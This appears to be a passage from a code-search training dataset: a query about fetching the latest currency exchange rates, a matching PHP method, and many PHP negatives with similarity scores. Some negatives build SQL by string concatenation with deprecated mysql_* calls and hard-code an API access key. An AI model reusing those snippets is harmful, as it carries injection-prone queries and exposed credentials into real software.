"public function delete($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'DELETE');\n }",
"public function destroy($id)\n {\n //Find Slider With Id\n $slider = Slider::findOrFail($id);\n // Check If The Image Exist\n if(file_exists('uploads/slider/'.$slider->image)){\n\n unlink( 'uploads/slider/'.$slider->image);\n }\n $slider->delete();\n return redirect()->back()->with('success','Slider Successfully Deleted');\n }"
]
| [
"0.6672584",
"0.6659381",
"0.6635911",
"0.6632799",
"0.6626075",
"0.65424126",
"0.65416265",
"0.64648265",
"0.62882507",
"0.6175931",
"0.6129922",
"0.60893893",
"0.6054415",
"0.60428125",
"0.60064924",
"0.59337646",
"0.5930772",
"0.59199584",
"0.5919811",
"0.5904504",
"0.5897263",
"0.58962846",
"0.58951396",
"0.58951396",
"0.58951396",
"0.58951396",
"0.5880124",
"0.58690923",
"0.5863659",
"0.5809161",
"0.57735413",
"0.5760811",
"0.5753559",
"0.57492644",
"0.5741712",
"0.57334286",
"0.5726379",
"0.57144034",
"0.57096",
"0.5707689",
"0.5705895",
"0.5705634",
"0.5703902",
"0.5696585",
"0.5684331",
"0.5684331",
"0.56780374",
"0.5677111",
"0.5657287",
"0.5648262",
"0.5648085",
"0.5648012",
"0.5640759",
"0.5637738",
"0.5629985",
"0.5619264",
"0.56167465",
"0.5606877",
"0.56021434",
"0.5601949",
"0.55992156",
"0.5598557",
"0.55897516",
"0.5581397",
"0.5566926",
"0.5566796",
"0.55642897",
"0.55641",
"0.5556583",
"0.5556536",
"0.5550097",
"0.5543172",
"0.55422723",
"0.5540013",
"0.5540013",
"0.55371785",
"0.55365825",
"0.55300397",
"0.552969",
"0.55275744",
"0.55272335",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.5525997",
"0.5525624",
"0.5523911",
"0.5521122",
"0.5517412"
]
| 0.0 | -1 |
Get latest currency exchange rates. | public function latest($base = 'USD', $targets = [])
{
return $this->query('latest', $base, $targets);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function listCurrenciesWithExchangeRate()\n {\n $service_response = $this->exchange_service\n ->getCurrenciesWithExchangeRate(\n auth()->user(),\n );\n return $service_response->success\n ? Responser::send(200, $service_response->data, $service_response->message)\n : Responser::sendError(400, $service_response->message, $service_response->message);\n }",
"private function getExchangeRates()\n\t{\n\t\t$date = $this->getDate()->format('d.m.Y');\n\t\t$locale = $this->getLocale();\n\t\t$cacheKey = $date . '-' . $locale;\n\n\t\t// Check the cache\n\t\tif (isset($this->cache[$cacheKey])) {\n\t\t\treturn $this->cache[$cacheKey];\n\t\t}\n\n\t\t$response = $this->requestRemoteServer($date, $locale);\n\t\tif (!$response) {\n\t\t\treturn [];\n\t\t}\n\n\t\t$rates = $this->parseRatesFromResponse($response);\n\t\tif (empty($rates)) {\n\t\t\treturn [];\n\t\t}\n\n\t\treturn $this->cache[$cacheKey] = $rates;\n\t}",
"public function getCurrencyRates()\n {\n return $this->curlCall();\n }",
"function getExchangeRate($currency);",
"function getRates($currencies){\n $response=array();\n $json = file_get_contents('https://blockchain.info/ticker');\n $result = json_decode($json, true);\n foreach ($currencies as $currency) {\n $response[$currency]=$result[$currency]['last'];\n }\n return $response;\n}",
"public function fetchRates()\n {\n $res = $this->_fetch($this->_cfg['ratesUri']);\n\n return $res;\n }",
"function GetCurrencies()\n\t{\n\t\t$result = $this->sendRequest(\"GetCurrencies\", array());\t\n\t\treturn $this->getResultFromResponse($result);\n\t}",
"public function getCurrencies() {\n\n $currencies= array();\n $date = '';\n \n $client = \\Drupal::httpClient();\n $request = $client->get(self::LESSON3_RATES_SERVICE);\n $responseXML = $request->getBody();\n\n\n if (!empty($request) && isset($responseXML)) {\n\n $data = new \\SimpleXMLElement($responseXML);\n foreach ($data->Currency as $value) {\n $currencies[] = array(\n 'CharCode' => (string)$value->CharCode,\n 'Name' => (string)$value->Name,\n 'Rate' => (string)$value->Rate,\n );\n }\n\n foreach ($data->attributes() as $key => $val) {\n $date .= (string) $val;\n }\n \n \\Drupal::configFactory()\n ->getEditable('lesson3.settings')\n ->set('lesson3.currencies', $currencies)\n ->set('lesson3.date', $date)\n ->save();\n } \n\n return $currencies;\n }",
"public static function getUSDCurrencyExchangeRates()\n { \n $ch = curl_init(_URL_YAHOOAPI);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\n\n $html = curl_exec($ch);\n curl_close($ch);\n \n return json_decode($html);\n }",
"public function get_rates(){\n\n \n $endpoint = 'live';\n $access_key = '6b976c41ce198b8b5d28f7890bd447f9';\n // Initialize CURL:\n $ch = curl_init('http://apilayer.net/api/'.$endpoint.'?access_key='.$access_key.'');\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\n // Store the data:\n $json = curl_exec($ch);\n curl_close($ch);\n\n // Decode JSON response:\n $exchangeRates = json_decode($json, true);\n \n #calculate the inverse rates \n\n #calculate ZAR -> USD Rate \n $zar_usd = 1 / $exchangeRates['quotes']['USDZAR'];\n # ZAR -> GBP\n $gbp_usd = (1 / $exchangeRates['quotes']['USDGBP']);\n $zar_gdp = $zar_usd / $gbp_usd;\n #ZAR->EUR\n $eur_usd = (1 / $exchangeRates['quotes']['USDEUR']);\n $zar_eur = $zar_usd / $eur_usd;\n #ZAR->KES\n $kes_usd = (1 / $exchangeRates['quotes']['USDKES']);\n $zar_kes = $zar_usd / $kes_usd;\n\n \n $updated_rates = array(\n array(\n 'er_id' => 1 , // ZAR -> GBP\n 'er_rate' => $zar_gdp \n ),\n array(\n 'er_id' => 2 , // ZAR -> EUR\n 'er_rate' => $zar_eur\n ),\n array(\n 'er_id' => 3 , // ZAR -> EUR\n 'er_rate' => $zar_kes\n ),\n array(\n 'er_id' => 4 , // ZAR -> EUR\n 'er_rate' => $zar_usd\n )\n );\n \n #batch update db\n $this->ExchangeRate->update_rates($updated_rates);\n\n echo \"Your exchange rates have been successfully updated\";\n\n // else do some exception handling here\n }",
"public function fetch()\n {\n $response = $this->responseToArray(\n $this->request($this->baseUrl.\"/latest.json?\".http_build_query($this->queryParameters())\n ));\n\n if (isset($response['error'])) {\n $this->handleErrors($response);\n }\n\n if (isset($response['rates'])) {\n $updatedAt = (new DateTime)->setTimestamp($response['timestamp']);\n\n return collect($response['rates'])->mapWithKeys(function ($rate, $currencyCode) use ($updatedAt) {\n return $this->formatRate($currencyCode, $rate, $updatedAt);\n })->except($this->defaultCurrency)->all();\n }\n\n throw ConnectionFailedException::source($this->name());\n }",
"public function fetch()\n {\n $response = $this->responseToArray(\n $this->request($this->baseUrl.\"/latest?\".http_build_query($this->queryParameters())\n ));\n\n if (isset($response['error']['code'])) {\n $this->handleErrors($response);\n }\n\n if (isset($response['success']) && $response['success']) {\n return collect($response['rates'])->mapWithKeys(function ($rate, $currencyCode) {\n return $this->formatRate($currencyCode, $rate);\n })->except($this->defaultCurrency)->all();\n }\n\n throw ConnectionFailedException::source($this->name());\n }",
"public function getExchangeRates(string $base = CurrencyCode::POUND_STERLING, array $currencies = [], ?Carbon $timestamp = null): Collection\n {\n $appId = $this->config->get('services.oxr.appId');\n\n $endpoint = $timestamp->isCurrentDay() ?\n 'latest.json' :\n \"historical/{$timestamp->format('Y-m-d')}.json\";\n\n $params = [\n 'app_id' => $appId,\n 'base' => $base,\n ];\n\n if ($currencies) {\n $params['symbols'] = implode(',', $currencies);\n }\n\n $query = http_build_query($params);\n\n $response = $this->client->get(\"{$endpoint}?{$query}\");\n $json = Utils::jsonDecode($response->getBody()->getContents(), true);\n $timestamp = Carbon::createFromTimestamp($json['timestamp']);\n $rates = $json['rates'];\n\n $exchangeRates = new Collection();\n\n foreach ($rates as $currency => $rate) {\n $exchangeRate = new ExchangeRate(compact('base', 'currency', 'rate', 'timestamp'));\n\n $exchangeRates->push($exchangeRate);\n }\n\n return $exchangeRates;\n }",
"public function getUseExchangeRates();",
"public function getExchangeRate();",
"public function getExchangeRates(): array\n {\n $out = $this->request('getExchangeRates');\n return $out['result'];\n }",
"public static function getRates() {\n $result = self::get(self::getPath('rates'));\n \n Return $result;\n }",
"private function loadExchangeRatesFromAPI($baseCurrency, $url) {\n $res = file_get_contents($url);\n if ($res) {\n $data = json_decode($res, true);\n if (is_array($data) and @$data['rates']) {\n import('xf/db/Database.php');\n $db = new xf\\db\\Database(df_db());\n foreach ($data['rates'] as $target => $conversion) {\n $db->query(\"replace into stripe_exchange_rates (base_currency, target_currency, conversion, last_updated) VALUES (:from, :to, :conversion, NOW())\", (object)[\n 'from' => $baseCurrency,\n 'to' => $target,\n 'conversion' => $conversion\n ]);\n \n $this->exchangeRates[$baseCurrency.':'.$target] = floatval($conversion);\n }\n }\n }\n return $this->exchangeRates;\n }",
"public function exchange_rates()\n {\n $exchangeRates = ExchangeRates::with('Currencies:name')->get();\n return view('setup.exchange_rates.index', compact('exchangeRates'));\n }",
"public function getCurrencies();",
"public function getRates()\n {\n return (new Rates)->fetchRates(); \n }",
"function GetExchangeRateAPI() {\n $conditions = '?base=JPY';\n $request = EXCHANGE_RATE_API_URL.$conditions;\n $response = file_get_contents($request);\n\n return json_decode($response, true);\n }",
"private function _update_currency_conversion_rate(){\n\t\t\t$query = \"SELECT `serial_num`, `\".$this->table_fields['currency_iso_code'].\"` as 'currency_iso_code' FROM `\" . $this->class_settings['database_name'] . \"`.`\".$this->table_name.\"` where `record_status`='1' AND `modification_date` < \".(date(\"U\") - (3600*24));\n\t\t\t$query_settings = array(\n\t\t\t\t'database' => $this->class_settings['database_name'] ,\n\t\t\t\t'connect' => $this->class_settings['database_connection'] ,\n\t\t\t\t'query' => $query,\n\t\t\t\t'query_type' => 'SELECT',\n\t\t\t\t'set_memcache' => 1,\n\t\t\t\t'tables' => array( $this->table_name ),\n\t\t\t);\n \n //get exchange rate\n $all_country_list = execute_sql_query($query_settings);\n\t\t\t$return = array();\n \n\t\t\tif( is_array( $all_country_list ) && ! empty( $all_country_list ) ){\n\t\t\t\t$query_settings['query_type'] = 'UPDATE';\n \n $first = true;\n foreach( $all_country_list as $val ){\n\t\t\t\t\tif( $val['currency_iso_code'] ){\n $json = file_get_contents('http://rate-exchange.appspot.com/currency?from=USD&to='.strtoupper($val['currency_iso_code']) );\n if($json)$cur = json_decode($json, true);\n if( isset( $cur['rate'] ) && $cur['rate'] ){\n $return[] = $cur;\n \n $query_settings['query'] = \"UPDATE `\" . $this->class_settings['database_name'] . \"`.`\".$this->table_name.\"` SET `\".$this->table_fields['conversion_rate'].\"`= '\".$cur['rate'].\"' WHERE `serial_num`='\".$val['serial_num'].\"' \";\n \n execute_sql_query($query_settings);\n \n if( $first ){\n $query_settings['tables'] = array();\n $query_settings['set_memcache'] = 0;\n $first = false;\n }\n }\n }\n\t\t\t\t}\n \n $this->class_settings[ 'do_not_check_cache' ] = 1;\n $this->_get_country_list();\n }\n \n return $return;\n }",
"public function updateRates()\n {\n $client = new \\GuzzleHttp\\Client();\n\n foreach ($this->currencyRepository->all() as $currency) {\n if ($currency->code == config('app.currency')) {\n continue;\n }\n\n $result = $client->request('GET', $this->apiEndPoint . '?access_key='. $this->apiKey . '&base=' . config('app.currency') . '&symbols=' . $currency->code);\n\n $result = json_decode($result->getBody()->getContents(), true);\n\n if (\n isset($result['success'])\n && ! $result['success']\n ) {\n throw new \\Exception($result['error']['info'] ?? $result['error']['type'], 1);\n }\n\n if ($exchangeRate = $currency->exchange_rate) {\n $this->exchangeRateRepository->update([\n 'rate' => $result['rates'][$currency->code],\n ], $exchangeRate->id);\n } else {\n $this->exchangeRateRepository->create([\n 'rate' => $result['rates'][$currency->code],\n 'target_currency' => $currency->id,\n ]);\n }\n }\n }",
"public function getUseCurrencyExchangeRates()\n {\n return $this->_useCurrencyExchangeRates;\n }",
"public function getAll()\n\t{\n\t\tif (!$this->isAssocResult()) {\n\t\t\treturn array_values($this->getExchangeRates());\n\t\t}\n\n\t\t$assocClosure = $this->getAssocClosure();\n\n\t\t$results = [];\n\t\tforeach ($this->getExchangeRates() as $rate) {\n\t\t\t$results[$assocClosure($rate)] = $rate;\n\t\t}\n\n\t\treturn $results;\n\t}",
"public function getRates()\n {\n # Convert the rates to a key / value array:\n return json_decode( json_encode($this->rates), true );\n }",
"function wcumcs_cron_currency_exchange_rate_update(){\r\n\t\r\n\tglobal $woocommerce_ultimate_multi_currency_suite;\r\n\t$action_data = array();\r\n\t$action_data['name'] = 'update_exchange_rates';\r\n\t$action_data['currency_data'] = array();\t\r\n\t\r\n\t$available_currencies_json = get_option('wcumcs_available_currencies');\r\n\t$available_currencies = json_decode($available_currencies_json, true);\r\n\t$requested_currencies_data = array();\r\n\t\r\n\tforeach ($available_currencies as $code => $currency_data){\r\n\t\t$requested_currencies_data[$code] = array();\r\n\t\t$exchange_api = get_option('wcumcs_exchange_api_' . $code);\r\n\t\t$requested_currencies_data[$code]['api'] = $exchange_api;\r\n\t}\r\n\t\r\n\t$action_data['currency_data'] = $requested_currencies_data;\r\n\t\r\n\t$woocommerce_ultimate_multi_currency_suite->callbacks->execute_action($action_data, true); // execute rates update\r\n\t\r\n\treturn true;\r\n\t\r\n}",
"public function getCurrencies ()\n\t{\n\t\treturn $this->call ('public/getcurrencies');\n\t}",
"public function get_rates() {\n\t\t$rates = self::make_api_call( 'rates' );\n\t\tif ( 'ok' === $rates['error'] ) {\n\t\t\treturn $rates['result'];\n\t\t}\n\t\treturn array();\n\t}",
"public function getExchangeRates()\n {\n return Controllers\\ExchangeRatesController::getInstance();\n }",
"public function currencies()\n {\n return $this->_call('public/getcurrencies', [], false);\n }",
"public function getRate(Currency $currency);",
"public function getPrices(Collection $currencies)\n {\n $currencies = $currencies\n ->pluck('id', 'currency_code')\n ->map(function($id){\n return [\n 'id' => $id,\n 'currency_id' => null\n ];\n })->toArray();\n\n // add currencyIds\n foreach($this->currencyIds() as $currencyCode => $currencyID){\n if($currencies[$currencyCode]) {\n $currencies[$currencyCode]['currency_id'] = $currencyID;\n }\n }\n\n\n // exchangeRate\n $exchangeRate = $this->getExchangeRate();\n\n\n // make api call\n $version = '';\n $url = $this->apiBase . $version . '/public/ticker/ALL';\n $res = null;\n\n try{\n $res = Http::request(Http::GET, $url);\n }\n catch (\\Exception $e){\n // Error handling\n echo($e->getMessage());\n exit();\n }\n\n\n // data from API\n $data = [];\n $dataOriginal = json_decode($res->content, true);\n $data = $dataOriginal['data'];\n\n\n // Finalize data. [id, currency_id, price]\n $currencies = array_map(function($currency) use($data, $exchangeRate){\n $dataAvailable = true;\n if(is_array($currency['currency_id'])){\n foreach($currency['currency_id'] as $i){\n if(!isset($data[$i])){\n $dataAvailable = false;\n }\n }\n } else {\n $dataAvailable = isset($data[$currency['currency_id']]);\n }\n\n\n if($dataAvailable){\n if(is_array($currency['currency_id'])){ // 2 step\n $level1 = doubleval($data[$currency['currency_id'][0]]['closing_price']) / $exchangeRate;\n $level2 = doubleval($data[$currency['currency_id'][1]]['closing_price']) / $exchangeRate;\n $currency['price'] = $level1 * $level2;\n }\n else { // 1 step: string\n $currency['price'] = doubleval($data[$currency['currency_id']]['closing_price']) / $exchangeRate;\n }\n\n }\n else {\n $currency['price'] = null;\n }\n\n return $currency;\n\n }, $currencies);\n\n\n return $currencies;\n\n\n }",
"public function getCurrencies() {\n return $this->public([\n 'command' => 'returnCurrencies',\n ]);\n }",
"public function currencies(): CurrenciesResponse\n {\n $payload = Payload::list('currencies');\n\n $result = $this->transporter->get($payload->uri)->throw();\n\n return CurrenciesResponse::from(attributes: (array) $result->json('data'));\n }",
"public function getListCurrency()\n\t{\n\t\t$params = [\n\t\t\t'verify' => false,\n\t\t\t'query' => [\n\t\t\t\t'output' => Config::get( 'response.format' )\n\t\t\t]\n\t\t];\n\n\t\t$baseUrl = sprintf( Config::get( 'endpoints.base_url' ), Config::get( 'settings.api' ) ) . Config::get( 'endpoints.general_list_currency' );\n\n\t\ttry {\n\t\t\t$response = parent::send( 'GET', $baseUrl, $params );\n\t\t} catch (TiketException $e) {\n\t\t\tthrow parent::convertException( $e );\n\t\t}\n\n\t\treturn $response;\n\t}",
"public static function getAllCurrencies(){\r\n\t\t$db = JFactory::getDBO();\r\n\t\t$query = ' SELECT\r\n\t\t\t\t\th.*\r\n\t\t\t\t\tFROM #__hotelreservation_currencies h\r\n\t\t\t\t\tORDER BY description asc';\r\n\t\t$db->setQuery( $query );\r\n\t\treturn $db->loadObjectList();\r\n\t}",
"public function getExchangeRate()\n {\n foreach ([$this->baseCurrencySymbol, $this->quoteCurrencySymbol] as $currencySymbol) {\n if (!Currency::isCurrencyBySymbolExists($currencySymbol)) {\n throw new \\Exception('Wrong currencies.');\n }\n }\n\n $exchangeRate = CurrencyPairExchangeRate::getExchangeRateBySymbols(\n $this->baseCurrencySymbol,\n $this->quoteCurrencySymbol\n );\n\n if ($exchangeRate === null) {\n throw new \\Exception('Exchange rate for those currencies does not exists.');\n }\n\n return $exchangeRate;\n }",
"public function getAllRates()\n {\n return $this->getRatesQuery()->execute();\n }",
"private function getCurrencyExchangeRates(){\n\t\t\n\t\t//function needs ini to allow_url_fopen\n\t\tif(!ini_get('allow_url_fopen')){\n\t\t\t$this->error = \"ERROR - PHP.ini needs allow_url_fopen set to on\";\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tif(!$XML = $this->returnCurrencyXML()){\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tif(!$this->createCurrencyArray($XML)){\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tif(!isSet($this->currencyRates) || empty($this->currencyRates)){\n\t\t\t$this->error = \"ERROR - there was an error converting the XML data\";\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\treturn true;\n\t\t\n\t}",
"public function getRates()\n {\n return $this->_rates;\n }",
"public static function getRates()\n {\n $config = $GLOBALS['config'];\n if (!isset($config['rates'])) {\n throw new \\OutOfRangeException(\n 'Please specify currency conversation rates!',\n 1\n );\n }\n\n return $config['rates'];\n }",
"public function getSupportedCurrencies()\n {\n return response()->json(Currency::all());\n }",
"public function obtainCurrency()\r\n {\r\n return $this->performRequest('GET', '/currency');\r\n }",
"public function exchangeRate() {\n try{\n $client = new GuzzleHttp\\Client(['base_uri' => 'https://api.exchangeratesapi.io/']);\n // Latest endpoint \n $response = $client->request('GET', 'latest');\n $statusCode = $response->getStatusCode();\n if($statusCode == 200) {\n // Get body of the response and stringify\n $body = (string)$response->getBody();\n // Parse json to ApiResponse Object\n $apiResponse = new ApiResponse($body);\n // Print associative response to console\n print_r($apiResponse);\n }\n }catch(Exception $e){\n echo $e;\n }\n\n }",
"function &getAll()\r\n {\r\n $db =& eZDB::globalDatabase();\r\n \r\n $return_array = array();\r\n $currency_array = array();\r\n \r\n $db->array_query( $currency_array, \"SELECT ID FROM eZTrade_AlternativeCurrency ORDER BY Created\" );\r\n \r\n for ( $i=0; $i < count($currency_array); $i++ )\r\n {\r\n $return_array[$i] = new eZProductCurrency( $currency_array[$i][$db->fieldName( \"ID\" )], 0 );\r\n }\r\n \r\n return $return_array;\r\n }",
"function getTickersForCurrency($currency) {\n \n $this->requestUrl = $this->makeUrl('ticker/' . $currency);\n \n return $this->getData();\n }",
"public function GetRates()\n\t{\n\t\treturn $this->rates;\n\t}",
"public function getCurrencies()\n {\n return $this->_currencies;\n }",
"function getCurrencyRates() {\n\t// If you change these, make sure to also update any JS validation scripts\n\t// For now I'm not rounding numbers under 1 because I don't think that's a big issue and could cause issues with the max check.\n\t$currencyRates = array(\n\t\t'AED' => '4',\n\t\t'ARS' => '4',\n\t\t'AUD' => '1',\n\t\t'BBD' => '2',\n\t\t'BDT' => '76',\n\t\t'BGN' => '1',\n\t\t'BHD' => '0.4',\n\t\t'BMD' => '1',\n\t\t'BND' => '1',\n\t\t'BOB' => '7',\n\t\t'BRL' => '2',\n\t\t'BSD' => '1',\n\t\t'BZD' => '2',\n\t\t'CAD' => '1',\n\t\t'CHF' => '0.9',\n\t\t'CLP' => '494',\n\t\t'CNY' => '6',\n\t\t'COP' => '1910',\n\t\t'CRC' => '512',\n\t\t'CZK' => '18',\n\t\t'DKK' => '5',\n\t\t'DOP' => '38',\n\t\t'DZD' => '73',\n\t\t'EEK' => '11',\n\t\t'EGP' => '6',\n\t\t'EUR' => '0.7',\n\t\t'GBP' => '0.6',\n\t\t'GTQ' => '8',\n\t\t'HKD' => '8',\n\t\t'HNL' => '19',\n\t\t'HRK' => '5',\n\t\t'HUF' => '219',\n\t\t'IDR' => '8960',\n\t\t'ILS' => '4',\n\t\t'INR' => '49',\n\t\t'JMD' => '85',\n\t\t'JOD' => '0.7',\n\t\t'JPY' => '78',\n\t\t'KES' => '97',\n\t\t'KRW' => '1127',\n\t\t'KYD' => '0.8',\n\t\t'KZT' => '147',\n\t\t'LBP' => '1500',\n\t\t'LKR' => '110',\n\t\t'LTL' => '2',\n\t\t'LVL' => '0.5',\n\t\t'MAD' => '8',\n\t\t'MKD' => '45',\n\t\t'MUR' => '29',\n\t\t'MVR' => '15',\n\t\t'MXN' => '13',\n\t\t'MYR' => '3',\n\t\t'NOK' => '5',\n\t\t'NZD' => '1',\n\t\t'OMR' => '0.3',\n\t\t'PAB' => '1',\n\t\t'PEN' => '3',\n\t\t'PHP' => '43',\n\t\t'PKR' => '86',\n\t\t'PLN' => '3',\n\t\t'PYG' => '4190',\n\t\t'QAR' => '4',\n\t\t'RON' => '3',\n\t\t'RUB' => '30',\n\t\t'SAR' => '4',\n\t\t'SEK' => '6',\n\t\t'SGD' => '1',\n\t\t'SVC' => '9',\n\t\t'THB' => '30',\n\t\t'TJS' => '5',\n\t\t'TND' => '1',\n\t\t'TRY' => '2',\n\t\t'TTD' => '6',\n\t\t'TWD' => '30',\n\t\t'UAH' => '8',\n\t\t'USD' => '1',\n\t\t'UYU' => '19',\n\t\t'UZS' => '1760',\n\t\t'VND' => '21000',\n\t\t'XAF' => '470',\n\t\t'XCD' => '3',\n\t\t'XOF' => '476',\n\t\t'ZAR' => '8',\n\t);\n\t\n\treturn $currencyRates;\n}",
"public function getExchangeRate()\n {\n if (null !== $this->cache) {\n if ($exchangeRate = $this->cache->fetch($this->getCacheKey())) {\n\n return $exchangeRate;\n }\n }\n\n $exchangeRate = parent::getExchangeRate();\n\n if (null !== $this->cache) {\n $this->cache->save($this->getCacheKey(), $exchangeRate, 24 * 60 * 60);\n }\n\n return $exchangeRate;\n }",
"abstract public function getExchangeRate($fromCurrency, $toCurrency);",
"function downloadExchangeRates() {\r\n $currency_domain = substr($this->xml_file,0,strpos($this->xml_file,\"/\"));\r\n $currency_file = substr($this->xml_file,strpos($this->xml_file,\"/\"));\r\n $fp = @fsockopen($currency_domain, 80, $errno, $errstr, 10);\r\n if($fp) {\r\n \r\n $out = \"GET \".$currency_file.\" HTTP/1.1\\r\\n\";\r\n $out .= \"Host: \".$currency_domain.\"\\r\\n\";\r\n $out .= \"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051111 Firefox/1.5\\r\\n\";\r\n $out .= \"Connection: Close\\r\\n\\r\\n\";\r\n fwrite($fp, $out);\r\n while (!feof($fp)) {\r\n \r\n $buffer .= fgets($fp, 128);\r\n }\r\n fclose($fp);\r\n \r\n $pattern = \"{<Cube\\s*currency='(\\w*)'\\s*rate='([\\d\\.]*)'/>}is\";\r\n preg_match_all($pattern,$buffer,$xml_rates);\r\n array_shift($xml_rates);\r\n \r\n for($i=0;$i<count($xml_rates[0]);$i++) {\r\n \r\n $exchange_rate[$xml_rates[0][$i]] = $xml_rates[1][$i];\r\n }\r\n \r\n $conn = mysql_connect($this->mysql_host,$this->mysql_user,$this->mysql_pass);\r\n \r\n $rs = mysql_select_db($this->mysql_db,$conn);\r\n \r\n foreach($exchange_rate as $currency=>$rate) {\r\n \r\n if((is_numeric($rate)) && ($rate != 0)) {\r\n \r\n $sql = \"SELECT * FROM \".$this->mysql_table.\" WHERE currency='\".$currency.\"'\";\r\n $rs = mysql_query($sql,$conn) or die(mysql_error());\r\n if(mysql_num_rows($rs) > 0) {\r\n \r\n $sql = \"UPDATE \".$this->mysql_table.\" SET rate=\".$rate.\" WHERE currency='\".$currency.\"'\";\r\n } else {\r\n \r\n $sql = \"INSERT INTO \".$this->mysql_table.\" VALUES('\".$currency.\"',\".$rate.\")\";\r\n }\r\n \r\n $rs = mysql_query($sql,$conn) or die(mysql_error());\r\n }\r\n \r\n }\r\n }\r\n }",
"public function getExchangeRate()\n {\n return $this->exchange_rate;\n }",
"public function getCurrentCurrencyRate() {\r\n\t\treturn $this->_storeManager->getStore()->getCurrentCurrencyRate();\r\n\t}",
"public function getApi(){\n\n $url=\"https://api.exchangeratesapi.io/latest\";\n\n $curl = curl_init($url);\n if ( $curl ) {\n curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n $response = curl_exec($curl);\n curl_close($curl);\n unset($curl);\n $decode=json_decode($response);\n foreach ($decode->rates as $name => $rate){\n Currency::updateOrCreate([\n \"name\"=>$name,\n ],\n [\n \"name\"=>$name,\n \"exchange\"=>$rate,\n ]);\n }\n }\n\n }",
"public function getCurrencies(): array\n {\n $out = $this->request('getCurrencies');\n return $out['result'];\n }",
"public function getCurrencies() {\n\t\t\t$currencies = CurrencyDenomination::all();\n\t\t\treturn response($currencies);\n\t\t}",
"function cjpopups_get_exchange_rate($from = 'USD', $to = 'INR'){\n\t$exchange_rate_data = wp_remote_get('http://rate-exchange.appspot.com/currency?from='.$from.'&to='.$to);\n\tif(!is_wp_error( $exchange_rate_data )){\n\t\t$return = json_decode($exchange_rate_data['body']);\n\t\treturn $return->rate;\n\t}else{\n\t\treturn 62;\n\t}\n}",
"public function getExchangeRate(Request $request)\n {\n try {\n $validator = Validator::make($request->all(), [\n 'base' => 'required',\n 'target' => 'required',\n 'date' => 'required|date'\n ]);\n\n if ($validator->fails()) {\n return response()->json([\n 'status' => false,\n 'message' => $validator->errors()\n ], 200);\n }\n\n if ($request->base == $request->target) {\n return response()->json([\n 'status' => true,\n 'rate' => 1\n ], 200);\n } else {\n $model = ForeignCurrencyTransactionSettings::query()\n ->whereIn('business_account_id', getDependentUserIds())\n ->where('base_currency', '=', $request->base)\n ->where('foreign_exchange_currency', '=', $request->target)\n ->first();\n\n if ($model) {\n $exchangeRates = ExchangeRates::query()->where('foreign_currency_id', '=', $model->id)\n ->where('date', '=', Carbon::parse($request->date)->format('Y-m-d'))\n ->first();\n if ($exchangeRates) {\n return response()->json([\n 'status' => true,\n 'rate' => $exchangeRates->rate\n ], 200);\n }\n } else {\n $model = ForeignCurrencyTransactionSettings::query()\n ->whereIn('business_account_id', getDependentUserIds())\n ->where('base_currency', '=', $request->target)\n ->where('foreign_exchange_currency', '=', $request->base)\n ->first();\n\n $exchangeRates = ExchangeRates::query()->where('foreign_currency_id', '=', $model->id)\n ->where('date', '=', Carbon::parse($request->date)->format('Y-m-d'))\n ->first();\n if ($exchangeRates) {\n return response()->json([\n 'status' => true,\n 'rate' => round(1/(float)$exchangeRates->rate, 2) //dividing by 1 as we have now changed the exchange rate\n ], 200);\n }\n }\n return response()->json([\n 'status' => true,\n 'rate' => 1\n ], 200);\n\n }\n } catch (\\Exception $e) {\n return response()->json([\n 'status' => false,\n 'message' => $e->getMessage()\n ], 200);\n }\n }",
"private function third_party_rate($currency)\n {\n\n // get all 3 rates from api\n $guzzle_client = new Client(['base_uri' => 'http://data.fixer.io/api']);\n $response = $guzzle_client->get('/latest', ['query' => ['access_key' => 'd6d3c2c6ad64e7615e26626ed3e12759', 'symbols' => \"gbp, eur, usd\"]]);\n $json_response = json_decode($response->getBody());\n\n // base currency fixed at euro by fixer\n switch ($currency) {\n case \"gbp\":\n $this->exchange_rate = 1;\n break;\n case \"usd\":\n // divide by eur -> gbp rate then multiply by eur -> usd\n $this->exchange_rate = round($json_response->rates->USD / $json_response->rates->GBP, 2);\n break;\n case \"eur\":\n // divide by eur -> gbp rate\n $this->exchange_rate = round(1.0 / $json_response->rates->GBP, 2);\n break;\n }\n }",
"public function testScheduledUpdateCurrencyRates()\n {\n $url = str_replace('{{CURRENCY_FROM}}', 'USD',\n \\Magento\\Directory\\Model\\Currency\\Import\\Webservicex::CURRENCY_CONVERTER_URL);\n $url = str_replace('{{CURRENCY_TO}}', 'GBP', $url);\n try {\n file_get_contents($url);\n } catch (\\PHPUnit_Framework_Error_Warning $e) {\n $this->markTestSkipped('http://www.webservicex.net is unavailable ');\n }\n\n $allowedCurrencies = 'USD,GBP,EUR';\n $this->configResource->saveConfig(\n $this->allowedCurrenciesPath,\n $allowedCurrencies,\n ScopeInterface::SCOPE_STORE,\n 0\n );\n $this->observer->scheduledUpdateCurrencyRates(null);\n /** @var Currency $currencyResource */\n $currencyResource = $this->objectManager\n ->create('Magento\\Directory\\Model\\CurrencyFactory')\n ->create()\n ->getResource();\n $rates = $currencyResource->getCurrencyRates($this->baseCurrency, explode(',', $allowedCurrencies));\n $this->assertNotEmpty($rates);\n }",
